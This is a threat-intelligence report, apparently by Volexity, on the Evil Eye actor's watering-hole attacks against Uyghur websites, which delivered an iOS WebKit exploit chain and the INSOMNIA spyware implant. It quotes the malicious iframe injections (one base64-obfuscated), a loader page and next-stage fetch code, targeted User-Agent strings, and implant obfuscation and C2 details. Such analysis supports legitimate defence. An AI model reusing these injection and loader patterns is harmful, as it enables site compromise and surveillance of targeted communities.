Evil Eye Threat Actor Resurfaces with iOS Exploit and Updated Implant

April 21, 2020

by Andrew Case, Dave Lassalle, Matthew Meltzer, Sean Koessel, Steven Adair, Thomas Lancaster

In September 2019, Volexity published Digital Crackdown: Large-Scale Surveillance and Exploitation of Uyghurs, which described a series of attacks against Uyghurs from multiple Chinese APT actors. The most notable threat actor detailed in the blog was one Volexity calls Evil Eye. The Evil Eye threat actor was observed launching an exploit aimed at installing a malware implant on Android phones. Volexity also believed this was likely the same group responsible for the launching exploits aimed at installing an iOS implant as described by Google's Project Zero. Immediately after the publications from Google and Volexity, the Evil Eye threat actor went fairly quiet. They removed their malicious code from compromised websites, command and control (C2) servers were taken down, and various hostnames stopped resolving. This largely remained the case until early January 2020, when Volexity observed a series of new activity across multiple previously compromised Uyghur websites.

In the latest activity identified by Volexity, the Evil Eye threat actor used an open source framework called IRONSQUIRREL to launch their exploit chain. The exploits used targeted Apple iOS operating systems leveraging a vulnerability in WebKit that appears to have been patched in the summer of 2019. The exploit works against iOS versions 12.3, 12.3.1, and 12.3.2. These versions of iOS are newer than anything mentioned in the Google Project Zero blog, or any other recently published reports involving weaponized exploits that can be used remotely against iPhones or iPads. If the exploit is successful, a new version of the implant described by Google will be installed onto the device. Volexity refers to this implant by the name INSOMNIA.

Volexity observed multiple different attacks where this implant was being installed on iOS devices. This includes six different exploit websites; five instances of the malware implant; three different C2 IP and port pair combination; and two unique C2 IP addresses. Each of the observed exploit sites and malware C2 servers are detailed in Appendix A below.

Targeting Website Visitors

The Evil Eye actor set up IRONSQUIRREL code to be loaded in a variety of different ways through malicious iframes across the various compromised websites. Volexity observed a total of six different hostnames being used to launch attacks between January and March 2020.

 While the first round of attacks were identified across several websites, future attacks were only observed in conjunction with the Uyghur Academy website. The attacks were largely loaded in fairly standard ways, such as via an iframe on a website's index, a modified JavaScript file used by the website, or nested iframes—which was the case on the Uyghur Academy website. The code below has been on the main index of the Uyghur Academy website for several months. The "JPlayer.html" file appears to be exclusively used by the Evil Eye actor when they want to launch attacks against visitors to the website. Otherwise, the file is either deleted or emptied out when not in use.

<iframe src="https://akademiye[.]org/ug/wp-content/themes/goodnews/js/Jplayer.html" width="0" height="0"></iframe>

In the first observed example of this iOS exploit actvity, the following code was observed inside Jplayer.html.

<iframe src="https://cdn.doublesclick[.]me/index.html" width=0 height=0></iframe>

The most notable method of loading the code was via an iframe that was observed on the Chinese-language version of the Uighur Times website. The following code was observed.

<divstyle="display: none">
<iframe src="data:text/html;base64,PGh0bWw+PGhlYWQ+PGJvZHk+PGlmcmFtZSBzcmM9Imh0dHBzOi8vY2RuLmRvdWJsZXNjbGljay5tZS9pbmRleC5odG1sIj48L2lmcmFtZT48L2JvZHk+PC9oZWFkPjwvaHRtbD4=">
</iframe>
</div>

Here, the entire iframe has been obfuscated by using base64 encoding, which is a common method to embed images in the source of websites. However, it is far less common to see an iframe load content from a remote website; this may be used as an indicator of suspect activity. The base64 content in this iframe decodes as follows:

<html><head><body><iframe src="https://cdn.doublesclick[.]me/index.html"></iframe></body></head></html>

Targeting Website Visitors

The index.html file hosted on cdn.doublesclick[.]me would kick off the first step in potential targeting against the user. The response returned by the server would depend on the User-Agent of the visitor making the request. An exploit chain would be kicked off if the right User-Agent string was detected; otherwise, the server would simply respond with the text "ok".

As an example, the following User-Agent strings would result in the exploit chain being launched.

Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1

Mozilla/5.0 (iPad; 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 EdgiOS/44.5.2 Mobile/15E148 Safari/605.1.15CPU OS 1

Note that exploit can be triggered through any browser on the phone, as they all use WebKit. Volexity was able to confirm successful explotiation of a phone running 12.3.1 via the Apple Safari, Google Chrome, and Microsoft Edge mobile browsers. If a visiting device passes the first checks put in place by Evil Eye, code similar to the following would be returned:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">

 

<title>data list</title>

 

</head>
<body onload="myfunction()">
<script>

 

function myfunction(){
settings();
save_data();
}
</script>
<script type="text/javascript" src="js/s.js?rid=V3KUMVZACLINY324HKVW7CI2EXF3ALPBONLGL23ZP3IKMZ6DVOBA"></script>
<script type="text/javascript" src="js/jquery.js?rid=V3KUMVZACLINY324HKVW7CI2EXF3ALPBONLGL23ZP3IKMZ6DVOBA"></script>
</body>

 

</html>

The file jquery.js contains the main logic and the server's public key, while the file s.js contains the supporting Stanford JavaScript Crypto Library used to generate a client key pair. This client public key is passed as a variable into the loading of the final JavaScript.

function goto_application(client_pub_g) {
document.write('\x3Cscript type="text/javascript" src="application?rid=VGXBJK2MFSGLRKQS7PZVJ2L5ZP3XTZPTDSFFYZYBFQPZBTBFKRJQ&cl='+ encodeURIComponent(client_pub_g)+ '">\x3C/script>');
}

The JavaScript served by the "application" request contains the following key functions/variables:

If each step of the JavaScript above is successful, it results in a Mach-O binary running on the phone. This application contains an iOS exploit for the targeted version and another Mach-O binary, the INSOMNIA implant, embedded in it.

Successful iOS exploitation results in the INSOMNIA implant being written to the device at /tmp/updateserver. The implant is then started with the "run" command-line argument. It runs as root with various entitlements, giving it access to all the data the Evil Eye actor wishes to collect.

Volexity has conducted an initial analysis of the payload delivered through the exploit chain and has been able to confirm successful exploitation of an iPhone running iOS 12.3.1. An overview of this entire chain is shown in the Figure below:

 

INSOMNIA Implant Analysis

Further analysis of the malicious binary indicates it appears to be an updated version of the implant described by Google's Project Zero in their Implant Teardown post, which was an updated version of what CitizenLab later described here. The differences and updates are summarized as follows:

• New hard-coded IP addresses and ports were found in the malware implants.
• All C2 communication is now done securely over HTTPS. This encrypts all C2 activity, to include data exfiltration.
• The malware conducts C2 server validation using a certificate embedded in the malware and will not function if validation fails.
• The malware employs basic obfuscation techniques to obscure some of its embedded strings.
• The encrypted messaging and secure e-mail applications Signal and Protonmail have been added to the list of apps that are specifically targeted by the malware.
• In addition to exfiltrating information about the phone and targeted apps, the malware now automatically sends information about each additional app that is installed on the device during its initial phone-home.

Note that Volexity does not have copies of the exact files analyzed by Project Zero or CitizenLab, so the differences listed above are based on the published reports.

Obfuscated Strings

The implant made extensive use of obfuscated strings to hide file names, API names, URL parameters, and other data relevant to its operations. These strings were obfuscated by a routine that used a string-specific XOR key and length. The following screenshot shows the decompilation of this routine inside of Ghidra.

Stepping through this code, the routine takes a pointer to an encrypted string's data structure as an argument.

• On line 7, it first checks if the string has already been decrypted (offset 0x14).
• If it has not, then it checks that the length is greater than 0 on line 8 (offset 0x10).
• It then loops for each character in the obfuscated string and deobfuscates with XOR. The pointer to the string is stored at offset 8, and the one byte XOR key to use is stored at offset 0 of the data structure. To aid in our analysis, we developed a script that brute-force decrypted every string in the binary in one pass.

Malware Communication

One of the main criticisms Project Zero made of the attackers was the lack of encryption used by the malware during their operations:

There's something thus far which is conspicuous only by its absence: is any of this encrypted? The short answer is no: they really do POST everything via HTTP (not HTTPS) and there is no asymmetric (or even symmetric) encryption applied to the data which is uploaded.

The attackers appear to have addressed this and added HTTPS communication capabilities to their malware. To allow the malicious application to use a self-signed certificate, the malware developers embedded the webserver's public x509 certificate inside of the executable. This certificate is hardcoded in the _mach_h section of the __DATA segment. The malware uses the getsectiondata API in order to retrieve the certificate at runtime.

The embedded certificate is stored in the DER (binary) format; at runtime, the certificate is passed to the SecCertificateCreateWithData API inside of the malware's didReceiveAuthenticationChallenge handler. As documented nicely in a developer's blog post and by Apple, this process allows for applications to override the system's built-in handling of certificates, and to provide their own authentication for the application's self-signed certificates. This is actually the way Apple recommends to use self-signed certificates during development, and the malware is abusing it for its own purposes. Appendix C contains the human-readable form of the certificate embedded in our analyzed binary.

The use of a specific certificate and SSL verification means that the malware will not talk to just any listening HTTPS server, which adds complexity to analyzing INSOMNIA in a sandbox environment. To allow the malware to communicate with Volexity's custom server implementation, it was necessary to "trick" the malware into trusting the server we had set up to act as the C2. Since Volexity did not have access to the private key of the certificate originally embedded in the malware, another solution had to be identified. The chosen solution was to edit the malware directly and to replace the embedded certificate with one that we created. This was done by overwriting the certificate in the binary and updating the mach_h section size header to match the length of the new certificate. Once safely replaced, the malware trusted the sandbox server and began communication.

With the malware successfully communicating with the Volexity C2 server, we were able to inspect the data stolen from our dummy device. As per previous write-ups of this malware, the data transferred is not encrypted (except for the HTTPS), so we can easily look at the data stolen. Since this has already been done in depth in the Project Zero write-up, we will not go over it again here, with the exception of the stolen Signal data. The data stolen from the Signal app is as follows:

• Images transferred using Signal (these are unencrypted on the phone)
• A copy of the messages, stored in an SQLite3 database (these are encrypted on the phone)

The messages require a key from the phones keychain in order to be successfully decrypted. In the Volexity test environment, the required key was not automatically exfiltrated, perhaps showing a shortcoming in the attackers' thinking.

Over time, the IP addresses the malware was configured to communicate with, ports, and certificates used to verify the server were modified.

Functionality & Targeted Applications

As described in the Project Zero and CitizenLab posts, the malware contains a list of applications for which it will steal data automatically if they are installed. Since the last analysis, the following applications have been added to this list:

• Signal (org.whispersystems.signal)
• ProtonMail (ch.protonmail.protonmail)

The inclusion of these apps suggests they are being more commonly used by the Uyghur community than before. In particular, the inclusion of Signal and ProtonMail may suggest that the Uyghurs are aware of potential monitoring of their communications and are attempting to use applications with strong security features to avoid this. It is also worth noting that this implant also targets the popular messaging app WeChat. This app is referenced as "com.tencent.xin" in other write-ups, but it is not mentioned as WeChat.

Volexity also noted that the malware has no mechanism for persistence. This indicates that the attackers must work quickly to obtain data that they want from a device before it reboots, or that they may potentially rely on the ability to reinfect a phone. Alternatively, it may be possible the attackers have a method to maintain persistence but only set this up manually after verifying the target.

Conclusion

Even though the vulnerabilities exploited in this report are patched as of July 2019 with iOS version 12.4 and newer, it appears that Evil Eye is likely having success with these attacks. According to Apple's own statistics from its website:

• 43% of iPad devices using the App store use iOS 12 or earlier
• 30% of iPhone devices using the App store use iOS 12 or earlier

This represents a considerable attack surface of potentially vulnerable devices.

As noted in September 2019, Volexity suspected that the Evil Eye attackers had also targeted iPhones based on the attackers' C2 servers going offline shortly after Project Zero's findings were made public. These more recent findings confirm the suspicion that the attackers were indeed likely the same. It can now be confirmed that in the past six months, Uyghur sites have led to malware for all major platforms, representing a considerable development and upkeep effort by the attackers to spy on the Uyghur population.

Appendix A - Network Indicators

 

Appendix B - INSOMNIA Implant Hashes

 

 

Appendix C - Embedded Certificate

Serial Number: 1111444412586956902 (0xf6ca4cdf7d69866)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=xLq, OU=www.xzXW.com, CN=XdM Root CA
Validity
Not Before: Dec 24 22:03:30 2019 GMT
Not After : Dec 24 22:03:30 2039 GMT
Subject: C=US, O=xLq, OU=www.xzXW.com, CN=XdM Root CA

Serial Number: 2330826125403043443 (0x2058c20305d93673)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=SsT, OU=www.p83.com, CN=3fbW Root CA
Validity
Not Before: Jan 20 17:02:26 2020 GMT
Not After : Jan 20 17:02:26 2040 GMT
Subject: C=US, O=SsT, OU=www.p83.com, CN=3fbW Root CA

Serial Number: 1152440617419100323 (0xffe4aa2b9ff50a3)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=CD6, OU=www.bUjS0F.com, CN=i4v Root CA
Validity
Not Before: Feb 2 19:44:45 2020 GMT
Not After : Feb 2 19:44:45 2040 GMT
Subject: C=US, O=CD6, OU=www.bUjS0F.com, CN=i4v Root CA

 Serial Number: 2340440485700108803 (0x207aea38b8190203)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=sCO, OU=www.w2j082Q.com, CN=4VNf Root CA
Validity
Not Before: Mar 13 17:29:21 2020 GMT
Not After : Mar 13 17:29:21 2040 GMT
Subject: C=US, O=sCO, OU=www.w2j082Q.com, CN=4VNf Root CA